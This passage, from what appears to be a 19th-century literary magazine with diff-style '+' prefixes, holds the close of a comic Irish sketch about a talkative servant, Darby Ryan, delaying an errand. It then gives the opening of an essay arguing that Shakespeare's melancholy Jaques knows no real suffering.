+just now? Impossible!"--"There's nothing impossible to God, sir, you
+know,--glory be to his name!" said Eileen, "and so the _crathur_ has the
+gift of it: he'll do it, I warrant ye." I looked up in Eileen's face,
+and saw there was something beyond common opinion pleading for Darby;
+so, waiving all farther parley, I desired her to go down stairs and send
+him to me instantly. Eileen curtsied, and, retiring, shut the door; but
+immediately opened it again, saying "You don't want him the night, sir,
+do ye? for," added she with a loud laugh, "I think he has broken his
+shin-bone."--"Send him to me immediately," said I peremptorily; upon
+which Eileen, exclaiming "_Oh, widdy-eelish!_" made her exit.
+
+Now it was evident from her last words that Eileen, in conjunction
+with others, had done some injury to poor Darby in their gambols; but
+as he is just coming up stairs, and will make a long pause before he
+presumes to knock at the door a second time, allow me, gentle reader,
+_ad interim_, to present you with a portrait of my servant, or follower,
+"DARBY RYAN," nick-named "_The Swift_."
+
+Darby Ryan was about thirty years of age, middle-sized, not over stout,
+and tolerably well made. His hair, both in texture and tint, resembled
+the _raddled_ back of a fawn-coloured goat, and waved in shaggy
+luxuriance everywhere save on his forehead, in the middle of which
+it timidly descended in a close-cropped peak, till it nearly united
+itself with two enormous dark-coloured eyebrows. His eyes were small,
+and the blackest I have ever seen; with a gleam of fire occasionally,
+that lent them more archness than ferocity. Some thought he squinted,
+and said that, though under _one_ master's direction, his _two pupils_
+went contrary ways; but I believe this was all slander, and only set
+forth by jealous people, who themselves, it is said, are rather queer
+in their optics. A _fracas_ in a hurling-match had left his nose little
+more than a one-arched bridge, by which, if you please, we will pass
+along to his mouth, where, if I had the time, I could find ample _room_
+for _rum_ination, &c. But Darby has knocked at my door, and I am forced
+to say "Come in!"--"Did yir honor want me, sir? or is it only the
+_caileen_'s fun, and the rest of them, in the kitchen?" said Darby,
+opening the door, but remaining outside as before. "Come in," said I
+encouragingly, "and take a seat for a moment; I'll tell you what I want
+with you." The girl's fears for the carpet were quite right; for Darby,
+making a bow to me on his entrance, scraped about a pound of mud off his
+brogues, which would have discomfited him quite if I had not proceeded
+with "Do you know the road to Bally----? Can you find your way to it
+safely, Darby?"
+
+"Can a duck swim, yir honor?" said Darby, emboldened by degrees.
+
+"Oh! very well, I understand you," said I. "Now, mark me: I want you
+to take this letter to a friend of mine, who is on a visit with the
+clergyman there, and bring me an answer as speedily as possible. Are you
+so quick-footed as they say?"
+
+"Quick-_futted_!" said Darby, seating himself on the very corner of the
+nearest chair; "where there's a will there's a way, as the sayin' is:
+but I was never counted slow anyhows but oncet, and that was when I made
+the clock stop of its own accord on a Patrick's Day, and sure, when we
+broke up our party, we found it was two days afterwards."
+
+"Well, take care and be more sparing of your time for the present," said
+I, anxious to despatch him.
+
+"You may rely on it, sir," said he; "I'll spare _nather_ time nor
+trouble in the doin' of it, although it is letter-carryin'."
+
+"Letter-carrying!" said I; "and pray what is there disgraceful in the
+calling?"
+
+"Oh! nothing at all disgraceful in the _calling_, sir," said Darby,
+"as yir honor says, but quite the reverse, if the letters are not paid
+aforehand."
+
+"You would not surely appropriate the postage to yourself?" said I,
+looking severely, though I did not exactly comprehend him.
+
+"Is it me, sir?--_Pop_eriate the king's pocket money in that way, poor
+ould gentleman! I'm not in parliament yet, nor ever had a fine situation
+under government, like yir honor."
+
+"Be not impertinent, sir," said I sharply; "I'd have you know and keep
+your distance." Darby rose immediately from the chair, of which about
+this time he had occupied nearly one half, saying,
+
+"Any distance you like for a short time, sir; for it's myself would
+grieve to part you for ever. What's the word of command, sir, and I'm
+off?--Right or left, north or south, Darby Ryan's yir man 'gainst wind
+or tide, as was said of one of my posteriors----"
+
+"Your ancestors you mean," said I smiling.
+
+"My _aunt's sisters_, yir honor! Faith and he wasn't one of her
+_sisters_, nor one of my _four_ fathers either,--for he was
+neither my godfather, nor my own father, nor my grandfather,
+nor my great-grandfather; but, as I said afore, one of my
+pos--pos--pos--_terity_, (I have the word now, divil take it!) that was
+christened RYAN THE RACER, for bein' runnin' futtman ages ago to the
+first quality in the country."
+
+By this time I began to perceive that, however quick Darby's heels might
+be, they had a formidable rival in his tongue; so I endeavoured to check
+_it_ at once by saying, "I have no time now to attend to any stories
+about your ancestry or relations; I merely wish to know can you take
+this letter to its direction, and speedily bring me an answer to it: in
+a word, can you set our immediately, and travel all night?"--"All night,
+yir honor! is it all night that's in yir mind?" said Darby, evidently
+hurt at my inquiry: "Gog's blud!" he continued half apart, "I was never
+taken for a turkey afore."--"A turkey!" said I, quite at a loss to
+understand him.--"Yes, yir honor," said Darby, "a turkey--the very worst
+_baste_ on the road for a long stretch (barrin' his neck) that ever
+was christened! Did yir honor ever hear of the wager 'tween the goose
+and him?"--"Never," said I sullenly.--"Then I'm glad of it, masther,"
+said Darby rejoicingly, "for it gives me the pleasure of tellin' it
+to yir honor. You see, sir, that oncet upon a time there was an ould
+cock-turkey----"--"Cock and a bull!" said I, losing all patience; "go
+down stairs! I don't want you at all."--"No sir; I know you don't,
+sir," said Darby with most provoking perseverance; "but I thought ye'd
+like to hear how an ould gander sarved the bull-turkey, big as he
+was."--"Well, then," said I in despair, "go on."--"Thank ye, sir," said
+Darby, and then continued, while I from time to time anxiously looked
+at my watch, stirred the fire, or fidgeted myself in twenty different
+ways, in the hope of interrupting him; but all to no purpose. "Then you
+see, sir, oncet upon a time an ould cock-turkey lived in the barony of
+Brawny, or, let me see, was it in Inchebofin, or Tubbercleer?--faix!
+an' it's myself forgets that same at the present writin',--but Jim
+Gurn--you know Jim Gurn, yir honor, Jim Gurn the nailor that lives hard
+by,--him that fought his black and tan t'other day 'gainst Tim Fagan's
+silver-hackle,--oh! Jim is the boy that'll tell ye the _ins_ and _outs_
+of it any day yir honor wud pay him a visit, 'caze Jim's in the way of
+it. Well, as I was relatin', the turkey was a parson's bird, and as
+proud as Lucifer, bein' used to the best of livin'; while the gander was
+only a poor _commoner_, for he was a _Roman_, and _oblidged_ to live
+upon what he could get by the road-side. These two fowls, yir honor,
+never could agree any how,--never could put up their horses together on
+any blessed pint,--till one day a big row happened betwune them, when
+the gander challenged the turkey to a steeple-chase across the country,
+day and dark, for twenty-four hours. Well, to my surprise,--tho' I
+wasn't there at the time, but Jim Gurn was, who gave me the whole
+history,--to my surprise, the turkey didn't say _no_ to it, but was
+quite agreeable all of a suddent; so away they started from Jim Gurn's
+dunghill one Sunday after mass, for the gander wouldn't stir a step
+afore prayers. Well, to be sure, to give the divil his due, the turkey
+took the lead in fine style, and was soon clane out of sight; but the
+gander kept movin' on, no ways downhearted, after him. About night-fall
+it was his business to pass through an ould archway acrass the road;
+and as he was stoopin' his head to get under it,--for yir honor knows a
+gander will stoop his head under a doorway if it was only as high as the
+moon,--who should he see comfortably sated in an ivy bush but the turkey
+himself, tucked in for the night. The gander, winkin' to himself, says,
+'Is it there ye are, honey?'--but he kept never mindin' him for all
+that, but only walked bouldly on to his journey's end, where he arrived
+safe and sound next day, afore the turkey was out of his first sleep:
+'caze why, ye see, sir, a goose or a gander will travel all night; but
+in respect of a turkey, once the day falls in, divil another inch of
+ground he'll put his futt to, barrin' it's to roost in a tree or the
+rafters of a cow-house! Oh! maybe the parson's bird wasn't ashamed of
+himself! Jim Gurn says he never held his head up afterward, tho' to be
+sure he hadn't long to fret, for Christmas was nigh at hand, and he had
+to stand sentry by the kitchen fire one day without his body-clothes
+'till he could bear it no longer; so they _dished_ him _intirely_.
+_Them_ that _ett_ him said he was as tough as leather, no doubt from the
+grief: but, divil's cure to him! what bisness had he to be so proud of
+himself, the spalpeen!"
+
+Darby _at length_ came to a pause. I paused also for a minute to
+understand the application of his anecdote; but it was evident: he
+wished to impress me by his parable that he was fitted for the task I
+had allotted him; so I inquired what money he would want on the road.
+
+"Maybe yir honor wouldn't think half-a-crown too much? said he
+diffidently.
+
+"Half-a-crown!" exclaimed I, amazed at the modesty of his demand: "here
+are ten shillings; and, if you be quick in your errand, I will give you
+something extra on your return."
+
+"Musha, an' long life to yir honor!" said Darby, scraping the carpet
+again; "may the grass never grow on the pathway to yir dwellin', nor a
+baste or Christian ever die belongin' t' ye, barrin' it's for the use of
+the kitchen!"
+
+"Well, now prepare for the road," said I impatiently, "and be off at
+once."
+
+"An' that I will, sir, in the twinklin' of a bedstead; only, you see,
+I've just got to run up to Tim Fallon the barber's to take the stubble
+off of my chin. Tim--(you know Tim Fallon, yir honor.)--Tim won't keep
+me long, anyhow, for it's late in the day, and his tongue must be dry
+by this; but if ye wud hear him of a mornin, oh! it's a _trate_, for
+Tim was once a play-acthur afore he grew a barber, an' by that same a
+good barber he is. Did he ever _lather_ yir honor?"--I made no reply.
+"After that," continued Darby, "I'll just step home and put on my Sunday
+clothes, and then won't I be as fresh as a two-year ould to do yir
+honor's biddin'!"
+
+"Well, well, lose no time," said I impatiently.
+
+"Sorrow a minute," said Darby: "I'll be there and back agin in the shoot
+of a wishin' star. Maybe yir honor knows what a wishin' star is?"--I
+shook my head. "Well, then," continued Darby, "yir honor, no doubt, has
+been out o'doors of a fine starlight night?"--I nodded assent. "Well
+then, agin, I'll tell ye what a wishin' star is. Did ye ever sit yir
+heart upon havin' of anything sir?" "Yes," said I morosely.--"Might I
+be so bould as to ax in regard to what, sir?" inquired Darby.--"Why,
+in regard, as you call it, to the letter I have given you just now,"
+replied I; "I wish to have it delivered as quickly as possible."
+
+"Oh! that bein' the case, sir," said Darby somewhat disconcerted, "I'm
+off at once."--"At once be it, then," said I, opening the door for
+him.--"I've only, then, to give the letther, sir," said he lingeringly,
+"to the gentleman at the clargy's? But ye didn't tell me whether it
+was the priest or the parson he's stoppin' with."--"The parson," said
+I, with all the patience I could command.--"Oh, very well, sir. God
+take care of ye till I come back!" So saying, he shut the door after
+him; but, before I could seat myself in my chair, he opened it again,
+inquiring "If he left his hat in the drawin'-room?" The only answer
+I made was by taking up the _caubeen_, which lay on the carpet, and
+flinging it in his face, out of all patience. "Thank yir honor," said
+Darby, and retired again, as I hoped, to proceed on his journey,
+But, alas! I was mistaken. Five minutes had scarcely elapsed when he
+presented himself once more, with a request that I might allow him to
+take _Squib_, my pointer dog, with him as a companion. "The road's so
+drary," said he, "by one's self, you know, yir honour."--"Well, take
+him, in God's name," said I, hastily shutting the door after him, and
+glad to be rid of him at any concession.
+
+I again resumed my seat, and opened the volume I had been reading; but
+I had not got through more than twenty or thirty pages of marvellous
+matter, when I thought I heard Darby's voice in the yard. On going to
+the window, I found that it was indeed _he_, and "_as spruce as a Scotch
+fir_," to use one of his own expressions.
+
+"Not gone yet!" exclaimed I, furiously throwing up the sash. But it
+was of no use, for he replied with the most perfect coolness, "Oh,
+yes, sir, I _was_ gone half an hour ago; only, you see, I've come back
+for the _clieve_ that's to carry _Squib_ to the place where he'll
+find divarsion in runnin' about in the pleasure-grounds hard by Squire
+Markhim's inclosure; 'twould kill the baste (God pard'n me for callin'
+him so, for he's more like a Christian,) to walk him so far: and maybe
+I'll not bring ye home a brace or two of birds that he'll point at
+without seein', and a _blue peter_ or so, if yir honor wud only just
+give me a charge or two of powder and shot."
+
+"Do you wish to get into the hands of the police?" said I.
+
+"Ah! then, is it the Peelers," said Darby contemptuously, "that yir
+honor manes? Divil a one o' them will be out of his _flay_-park by
+the time I'm crossing the _Callas_ with Squib and Pat Fagan's ould
+carbine, that he'll lend me out o' the bog-hole, where he keeps it from
+the rust and the guagers: and sure, while we're oilin' it with a bit
+of goose-grace, that it mayn't burst intirely the first goin' off, I
+can have a bit of gossip with the ould woman in the chimly corner over
+the _greeshah_, and find out everything about the gintleman in the
+neighb'rhood that I'm takin' the letther to; for poor Katty Fagan, ever
+since she lost the brindled heifer, and young Jemmeen her grandson, that
+they cut out for a priest, and another calf that she won at a weddin'
+raffle, all in the typhus s_a_son,--you recollect the typhus, yir honor?"
+
+"Oh, curse you and the typhus together!" said I.--"Well, an' it's myself
+that never could spake a good word for it either, masther, bad look to
+'t!" said Darby: "but, be that as it may, ever since that time Katty
+knows more of every other body's bisness nor her own; so I'll lose
+nothin' by callin' to ax her how she is at laste, thov' it is a mile or
+two out o' my way."
+
+By this time, reader, you may conclude my power of endurance was pretty
+nigh exhausted; so, raking down a pair of pistols that hung over the
+fire-place, I said, "The only powder and shot, my good fellow, that I
+can spare you at present, are contained in these two barrels; you are
+welcome to them, and shall have them on the spot, if you do not depart
+immediately!"--"Ah! then it's myself that wud _depart_ imm_a_diately,
+sure enough, sir," said Darby, "if yir honor wud only pull the trigger;
+but keep yir hands off o' them, masther avick, for, charge or no charge,
+they might go aff and spile my beauty for ever: the divil, they say,
+can fire an empty charge as well as a full one!"--"Well, then," said I,
+"take your choice: _go off_ this moment, or one of these shall!"--"Oh,
+then, sure that's no choice at all, at all, sir," replied Darby; "so I
+suppose I must go my ways. Well, then, wid ye be wid ye, for I can't
+always be wid ye. Is there anything else I can do for ye, sir, on the
+road?"--"Nothing," said I: "begone!"--"Thank ye, sir," said he, and
+retired.
+
+"Thank Heaven!" said I, "the fellow has at last set out on his
+journey." So I again turned to the marvellous volume, and was about
+halfway through the pedestrian exploits of Collier and his sister,
+who, to use the words of the writer, "thought nothing of putting a pot
+of _pink-eyes_ down to boil, and _stepping_ to the next market-town
+(about nine miles distant) for a halfpenny-worth of salt (returning,
+too, again) before the white horses were on the praties," when
+Eileen presented herself in such a convulsion of laughter that it
+was some moments before she could reply to my question of "What's
+the matter?" At length, terminating with a long-drawn sigh, and her
+usual "_widdy-eelish_," she replied, "Nothing's the matter, sir;
+only--only--" (laughing again) "only Darby, sir."--"Darby!" exclaimed
+I, "what of _him_?"--"He wants to know, sir," said she, "if you will
+allow him to take a _horse_ with him."--"A _horse_!" exclaimed I; "devil
+take the fellow! what does he mean?"--"Why, I mane, to be sure," said
+Darby from the bottom of the stairs, at the same time at the top of
+his voice, "a _horse_ from the young ash-plants in the ould garden.
+I'll cut the crookedest I can find, though a straight one would do me
+betther."--"What is it he wants?" said I, turning to Eileen, who was
+in a perfect _kink_ of laughter.--"Oh! widdy-eelish," replied she, "I
+suppose the crather means a pole to help him over the bogs."--"Let me
+talk to the rascal myself," said I, going to the door in a deuce of a
+rage.
+
+"Yir sarvant, sir," said Darby, taking his hat off and making a scrape
+that cost _him_ his equilibrium, and _me_ my gravity, for I could not
+but sympathise with Eileen's outrageous laughter. "Is it possible that
+you are here yet?" inquired I, endeavouring to be as severe as possible.
+
+"Oh, never fear, sir, but I'll be off presently," said he: "my walk's
+waitin' for me on the road; I'll overtake it imm_a_diately."
+
+"I'm sorry that you have undertaken it at all," said I in a tone of
+unusual displeasure.
+
+"Undertaken, sir! undertake--undertaker!" said Darby rather indignantly;
+"I never was an undertaker but oncet, and that was at my ould father's
+funeral, when I was one of the nine bearers. That was a beautiful sight,
+to be sure," said he, kindling into rapture as he proceeded; "Ah! that
+was the beautiful sight, agrah! I seen many a lord's berrin', but none
+to come up to that. Oh! it would do any one's heart good to see us
+walkin' in _possession_ to the Abbey,--it was so d_a_cent, and all of a
+piece, like a magpie, white and black from beginnin' to end! Oh! it was
+a beautiful sight, anyhow," added he with a deep sigh.
+
+"Did you, then, rejoice in your father's death?" said I harshly.
+
+"Why, not exactly rejoice in his death," replied Darby, wiping away a
+tear from his already suffused eye, "for he was a kind ould body to them
+he liked, though he didn't sp_a_ke to me good or bad for three years
+afore he died: but never mind; maybe I wasn't hearty at his wake!"
+
+"At his wake!" said I, with a look of disgust.
+
+"Yes, yir honor!" replied he after a pause of surprise,--"at his wake,
+to be sure; and where can a body be so alive to fun of all sorts as at
+a well-conducted dead body's wake? Isn't there smokin', and drinkin',
+and story-tellin', and now and then a bit of dancin' in the other room
+with the young ones, to shake off the grief, eh? And didn't I get seven
+goold guineas from 'Turney Gubbins, that was one of his exec_u_tors, and
+the ould mare that used to take him from town to town when he took to
+_fair_ bisness, and the bracket hen that lays yir honor's eggs now, that
+was the mother of all the p_a_ceable fightin' cocks in the county; and,
+moreover, his white waistcoat and breeches when he was in the Yeomen,
+that Ned Fallon the tailor says he'll die any day for me into a second
+mournin'?"
+
+"And what did you with the seven guineas?" said I: "did you turn them to
+any account?"
+
+"Oh, the Lord bless yir honor!" said Darby sheepishly; "it's very hard
+to know what to do with a large sum of money now-a-days: it's dangerous
+keepin' by you, you know, sir; so _I put it out to interest_!"
+
+"And pray what security did you get?" said I, suspecting something, from
+the fellow's roguish leer.
+
+"Security, sir?" said Darby; "they tould me it was _collatheral_, I
+think, yir honor; _collatheral_ was the word."
+
+"_Collateral_!" said I, somewhat surprised at his knowledge of the term.
+
+"Yes, sir," replied he, scratching his head with one hand, and thrusting
+the other into his breeches pocket, "_I laid it out in_ HOUSES. But, for
+all that, half an hour afore I die I'll have as much money as'll do me
+all the days o' my life!"
+
+I could not but smile at the fellow's satirical humour upon his own
+folly; and, as it was the first time I had ever admitted him to such
+familiar converse, I patiently listened while he continued to tell me
+how he "ran through his fortune" in less than three weeks; hoping,
+however, that he would soon make an end of his recital, and set out with
+my letter, for the day now began to decline.
+
+"You see, yir honor, this was the way it happened," said Darby.
+"_Nawthin'_ would save me but I should give a TAY-PARTY at the Three
+Blacks one evenin' after a hurlin'-match--Did yir honor ever hurl a bit?
+Oh! then sure it's the finest divarsion that any one cud sit his mind
+upon, barrin' it doesn't ind in a row, as mostly for the best part it
+does. But never mind that,--it's fine fun, anyhow; though by it I _did_
+get this _clink_ on the nose, that made me lave off snuff-takin' ever
+since as a dirty habit! Oh! a hurlin'-match is a grate sight, and many a
+good clergy I've seen strip to the work. There was Father M'Gauvran--yir
+honor has heard of Father M'Gauvran, that got a son an' heir for Pat Mac
+Gavany, by givin' his wife an ould _surplus_ that he had by him for some
+time? Oh! it would raise the cockles of yir heart to see how he _wud_
+whip a ball along. He was a _grate_ hurler, anyhow; _he_ was the boy at
+the _bawke_!"
+
+Conceiving that Darby would not terminate before midnight (if he ever
+would at all), I interrupted him, saying, "When you return, I shall
+be very happy to hear the particulars of your TAY-PARTY, but for the
+present I must decline the narrative. Set out, if you mean to go: when
+you come back, I will listen vary attentively to the whole recital."
+
+"Oh, then I suppose I'm tiring yir honor! But stop a bit,--I'll be here
+in the turn of a snipe;" saying which, he disappeared. I had not been
+long left to my own reflections before he came up stairs, and, without
+any of his previous knocks and delays, he entered my room hurriedly,
+and, throwing down a small book on the table before me, said, "There,
+sir; I hope _that_ will amuse you while I am away: it's an account of my
+_tay-party_, by _Lame_ Kelly the poet, that wudn't get drunk that night
+_acause_ he sed he wud write it afore his next sleep. Read it, masther,"
+said Darby; "and never mind the jokes upon me."--"Go your ways," said
+I.--"I've only _one_ way to go, sir," said Darby.--"Well, then," said
+I, "in God's name take _that_."--"In God's name be it, then," replied
+Darby, and ultimately left me.
+
+
+
+
+                    SHAKSPEARE PAPERS.--No. II.
+
+                             JAQUES.
+
+              "As he passed through the fields,
+            and saw the animals around him,--'Ye,' said he,
+            'are happy, and need not envy me that walk thus among
+            you burthened with myself; nor do I, ye gentle beings,
+            envy your felicity, for it is not the felicity of man.
+            I have many distresses from which ye are free; I fear
+            pain when I do not feel it; I sometimes shrink at evils
+            recollected, and sometimes start at evils anticipated.
+            Surely the equity of Providence has balanced peculiar
+            sufferings with peculiar enjoyments.'
+
+            "With observations like these the prince
+            amused himself as he returned, uttering them with a
+            plaintive voice, yet with a look that discovered him
+            to feel some complacence in his own perspicacity, and
+            to receive some solace of the miseries of life from
+            consciousness of the delicacy with which he felt, and
+            the eloquence with which he bewailed them."--RASSELAS,
+            chap. ii.
+
+This remark of Dr. Johnson on the consolation derived by his hero from
+the eloquence with which he gave vent to his complaints is perfectly
+just, but just only in such cases as those of Rasselas. The misery that
+can be expressed in flowing periods cannot be of more importance than
+that experienced by the Abyssinian prince enclosed in the Happy Valley.
+His greatest calamity was no more than that he could not leave a place
+in which all the luxuries of life were at his command. But, as old
+Chremes says in the Heautontimorumenos,
+
+                 "Miserum? quem minus credere 'st?
+    Quid reliqui 'st, quin habeat, quæ quidem in homine dicuntur bona?
+    Parentes, patriam incolumem, amicos, genu', cognatos, divitias:
+    Atque hæc perinde sunt ut illius animus qui ea possidet;
+    Qui uti scit, ei bona; illi, qui non utitur rectè, mala."[97]
+
+On which, as
+
+          "Plain truth, dear Bentley, needs no arts of speech,"
+
+I cannot do better than transcribe the commentary of Hickie, or some
+other grave expositor from whose pages he has transferred it to his own.
+"'Tis certain that the real enjoyment arising from external advantages
+depends wholly upon the situation of the mind of him who possesses them;
+for if he chance to labour under any secret anguish, this destroys all
+relish; or, if he know not how to use them for valuable purposes, they
+are so far from being of any service to him, that they often turn to
+real misfortunes." It is of no consequence that this profound reflection
+is nothing to the purpose in the place where it appears, because Chremes
+is not talking of any secret anguish, but of the use or abuse made of
+advantages according to the disposition of the individual to whom they
+have been accorded; and the anguish of Clinia was by no means secret.
+He feared the perpetual displeasure of his father, and knew not whether
+absence might not have diminished or alienated the affections of the
+lady on whose account he had abandoned home and country; but the general
+proposition of the sentence cannot be denied. A "fatal remembrance"--to
+borrow a phrase from one of the most beautiful of Moore's melodies--may
+render a life, apparently abounding in prosperity, wretched and unhappy,
+as the vitiation of a single humour of the eye casts a sickly and
+unnatural hue over the gladsome meadow, or turns to a lurid light the
+brilliancy of the sunniest skies.
+
+Rasselas and Jaques have no secret anguish to torment them, no real
+cares to disturb the even current of their tempers. To get rid of the
+prince first:--His sorrow is no more than that of the starling in the
+Sentimental Journey. He cannot get out. He is discontented, because he
+has not the patience of Wordsworth's nuns, who fret not in their narrow
+cells; or of Wordsworth's muse, which murmurs not at being cribbed and
+confined to a sonnet. He wants the philosophy of that most admirable of
+all jail-ditties,--and will not reflect that
+
+    "Every island is a prison,
+      Close surrounded by the sea;
+    Kings and princes, for that reason,
+      Prisoners are as well as we."
+
+And as his calamity is, after all, very tolerable,--as many a sore heart
+or a wearied mind, buffeting about amid the billows and breakers of the
+external world, would feel but too happy to exchange conditions with him
+in his safe haven of rest,--it is no wonder that the weaving of sonorous
+sentences of easily soothed sorrow should be the extent of the mental
+afflictions of Rasselas, Prince of Abyssinia.
+
+Who or what Jaques was before he makes his appearance in the forest,
+Shakspeare does not inform us,--any farther than that he had been a
+_roué_ of considerable note, as the Duke tells him, when he proposes to
+
+    "Cleanse the foul body of the infected world,
+    If they will patiently receive my medicine.
+      _Duke._ Fie on thee! I can tell what thou wouldst do.
+      _Jaques._ What, for a counter, would I do but good?
+      _Duke._ Most mischievous foul sin, in chiding sin;
+    For thou thyself hast been a libertine
+    As sensual as the brutish sting itself;
+    And all the embossed sores and headed evils
+    That thou with licence of free foot hast caught,
+    Wouldst thou disgorge into the general world."
+
+This, and that he was one of the three or four loving lords who put
+themselves into voluntary exile with the old Duke, leaving their lands
+and revenues to enrich the new one, who therefore gave them good leave
+to wander, is all we know about him, until he is formally announced to
+us as the melancholy Jaques. The very announcement is a tolerable proof
+that he is not soul-stricken in any material degree. When Rosalind tells
+him that he is considered to be a melancholy fellow, he is hard put to
+it to describe in what his melancholy consists. "I have," he says,
+
+    "Neither the scholar's melancholy, which
+    Is emulation; nor the musician's, which is
+    Fantastical; nor the courtier's which is proud;
+    Nor the soldier's,
+    Which is ambitious; nor the lawyer's, which
+    Is politic; nor the lady's, which is nice;
+    Nor the lover's, which is all these: but it is
+    A melancholy of mine own, compounded
+    Of many simples, extracted from many objects,
+    And indeed
+    The sundry contemplation of my travels,
+    In which my often rumination wraps me
+    In a most humorous sadness."[98]
+
+He is nothing more than an idle gentleman given to musing, and making
+invectives against the affairs of the world, which are more remarkable
+for the poetry of their style and expression than the pungency of their
+satire. His famous description of the seven ages of man is that of a
+man who has seen but little to complain of in his career through life.
+The sorrows of his infant are of the slightest kind, and he notes that
+it is taken care of in a nurse's lap. The griefs of his schoolboy are
+confined to the necessity of going to school; and he, too, has had an
+anxious hand to attend to him. His shining morning face reflects the
+superintendence of one--probably a mother--interested in his welfare.
+The lover is tortured by no piercing pangs of love, his woes evaporating
+themselves musically in a ballad of his own composition, written not to
+his mistress, but fantastically addressed to her eyebrow. The soldier
+appears in all the pride and the swelling hopes of his spirit-stirring
+trade,
+
+    "Jealous in honour, sudden and quick in quarrel,
+    Seeking the bubble reputation
+    Even in the cannon's mouth."
+
+The fair round belly of the justice lined with good capon lets us know
+how he has passed his life. He is full of ease, magisterial authority,
+and squirely dignity. The lean and slippered pantaloon, and the dotard
+sunk into second childishness, have suffered only the common lot of
+humanity, without any of the calamities that embitter the unavoidable
+malady of old age.[99] All the characters in Jaques's sketch are well
+taken care of. The infant is nursed; the boy educated; the youth
+tormented with no greater cares than the necessity of hunting after
+rhymes to please the ear of a lady, whose love sits so lightly upon him
+as to set him upon nothing more serious than such a self-amusing task;
+the man in prime of life is engaged in gallant deeds, brave in action,
+anxious for character, and ambitious of fame; the man in declining years
+has won the due honours of his rank, he enjoys the luxuries of the
+table and dispenses the terrors of the bench; the man of age still more
+advanced is well to do in the world. If his shank be shrunk, it is not
+without hose and slipper,--if his eyes be dim, they are spectacled,--if
+his years have made him lean, they have gathered for him wherewithal to
+fatten the pouch by his side. And when this strange eventful history is
+closed by the penalties paid by men who live too long, Jaques does not
+tell us that the helpless being,
+
+          "Sans teeth, sans eyes, sans taste, sans everything,"
+
+is left unprotected in his helplessness.
+
+Such pictures of life do not proceed from a man very heavy at heart. Nor
+can it be without design that they are introduced into this especial
+place. The moment before, the famished Orlando has burst in upon the
+sylvan meal of the Duke, brandishing a naked sword, demanding with
+furious threat food for himself and his helpless companion,
+
+          "Oppressed with two weak evils, age and hunger."
+
+The Duke, struck with his earnest appeal, cannot refrain from comparing
+the real suffering which he witnesses in Orlando with that which is
+endured by himself and his "co-mates, and partners in exile." Addressing
+Jaques, he says,
+
+    "Thou seest we are not all alone unhappy.
+    This wide and universal theatre
+    Presents more woful pageants than the scene
+    Wherein we play in."[100]
+
+But the spectacle and the comment upon it lightly touch Jaques, and
+he starts off at once into a witty and poetic comparison of the real
+drama of the world with the mimic drama of the stage, in which, with
+the sight of well-nurtured youth driven to the savage desperation of
+periling his own life, and assailing that of others,--and of weakly
+old age lying down in the feeble but equally resolved desperation of
+dying by the wayside, driven to this extremity by sore fatigue and
+hunger,--he diverts himself and his audience, whether in the forest or
+theatre, on the stage or in the closet, with graphic descriptions of
+human life; not one of them, proceeding as they do from the lips of the
+_melancholy_ Jaques, presenting a single point on which true melancholy
+can dwell. Mourning over what cannot be avoided must be in its essence
+common-place: and nothing has been added to the lamentations over the
+ills brought by the flight of years since Moses, the man of God,[101]
+declared the concluding period of protracted life to be a period of
+labour and sorrow;--since Solomon, or whoever else writes under the
+name of the Preacher, in a passage which, whether it is inspired or
+not, is a passage of exquisite beauty, warned us to provide in youth,
+"while the evil days come not, nor the years draw nigh when thou shalt
+say, I have no pleasure in them; while the sun, or the light, or the
+moon, or the stars be not darkened, nor the clouds return after the
+rain: in the day when the keepers of the house shall tremble, and the
+strong men shall bow themselves, and the grinders cease because they
+are few, and those that look out of the windows be darkened, and the
+doors shall be shut in the streets, when the sound of the grinding
+is low, and he shall rise up at the voice of the bird, and all the
+daughters of music shall be brought low; also when they shall be
+afraid of that which is high, and fears shall be in the way, and the
+almond-tree shall flourish, and the grasshopper shall be a burthen,
+and desire shall fail: because man goeth to his long home, and the
+mourners go about the streets: or ever the silver cord be loosed, or
+the golden bowl be broken, or the pitcher be broken at the fountain,
+or the wheel broken at the cistern;"--or, to make a shorter quotation,
+since Homer summed up all these ills by applying to old age the epithet
+of [Greek: lygros],--a word which cannot be translated, but the force
+of which must be felt. Abate these unavoidable misfortunes, and the
+catalogue of Jaques is that of happy conditions. In his visions there
+is no trace of the child doomed to wretchedness before its very birth;
+no hint that such a thing could occur as its being made an object of
+calculation, one part medical, three parts financial, to the starveling
+surgeon, whether by the floating of the lungs, or other test equally
+fallacious and fee-producing, the miserable mother may be convicted of
+doing that which, before she had attempted, all that is her soul of
+woman must have been torn from its uttermost roots, when in an agony of
+shame and dread the child that was to have made her forget her labour
+was committed to the cesspool. No hint that the days of infancy should
+be devoted to the damnation of a factory, or to the tender mercies of a
+parish beadle. No hint that philosophy should come forward armed with
+the panoply offensive and defensive of logic and eloquence, to prove
+that the inversion of all natural relations was just and wise,--that the
+toil of childhood was due to the support of manhood,--that those hours,
+the very labours of which even the etymologists give to recreation,
+should be devoted to those wretched drudgeries which seem to split
+the heart of all but those who derive from them blood-stained money,
+or blood-bedabbled applause. Jaques sees not Greensmith squeezing his
+children by the throat until they die. He hears not the supplication of
+the hapless boy begging his still more hapless father for a moment's
+respite, ere the fatal handkerchief is twisted round his throat by the
+hand of him to whom he owed his being. Jaques thinks not of the baby
+deserted on the step of the inhospitable door, of the shame of the
+mother, of the disgrace of the parents, of the misery of the forsaken
+infant. His boy is at school, his soldier in the breach, his elder on
+the justice-seat. Are these the woes of life? Is there no neglected
+creature left to himself or to the worse nurture of others, whose trade
+it is to corrupt,--who will teach him what was taught to swaggering Jack
+Chance, found on Newgate steps, and educated at the venerable seminary
+of St. Giles's Pound, where
+
+    "They taught him to drink, and to thieve, and fight,
+    And everything else but to read and write."
+
+Is there no stripling short of commons, but abundant in the supply
+of the strap or the cudgel?--no man fighting through the world in
+fortuneless struggles, and occupied by cares or oppressed by wants more
+stringent than those of love?--or in love itself does the current of
+that bitter passion never run less smooth than when sonnets to a lady's
+eyebrow are the prime objects of solicitude?--or may not even he who
+began with such sonneteering have found something more serious and sad,
+something more heart-throbbing and soul-rending, in the progress of his
+passion? Is the soldier melancholy in the storm and whirlwind of war?
+Is the gallant confronting of the cannon a matter to be complained of?
+The dolorous flight, the trampled battalion, the broken squadron, the
+lost battle, the lingering wound, the ill-furnished hospital, the unfed
+blockade, hunger and thirst, and pain, and fatigue, and mutilation, and
+cold, and rout, and scorn, and slight,--services neglected, unworthy
+claims preferred, life wasted, or honour tarnished,--are all passed by!
+In peaceful life we have no deeper misfortune placed before us than that
+it is not unusual that a justice of peace may be prosy in remark and
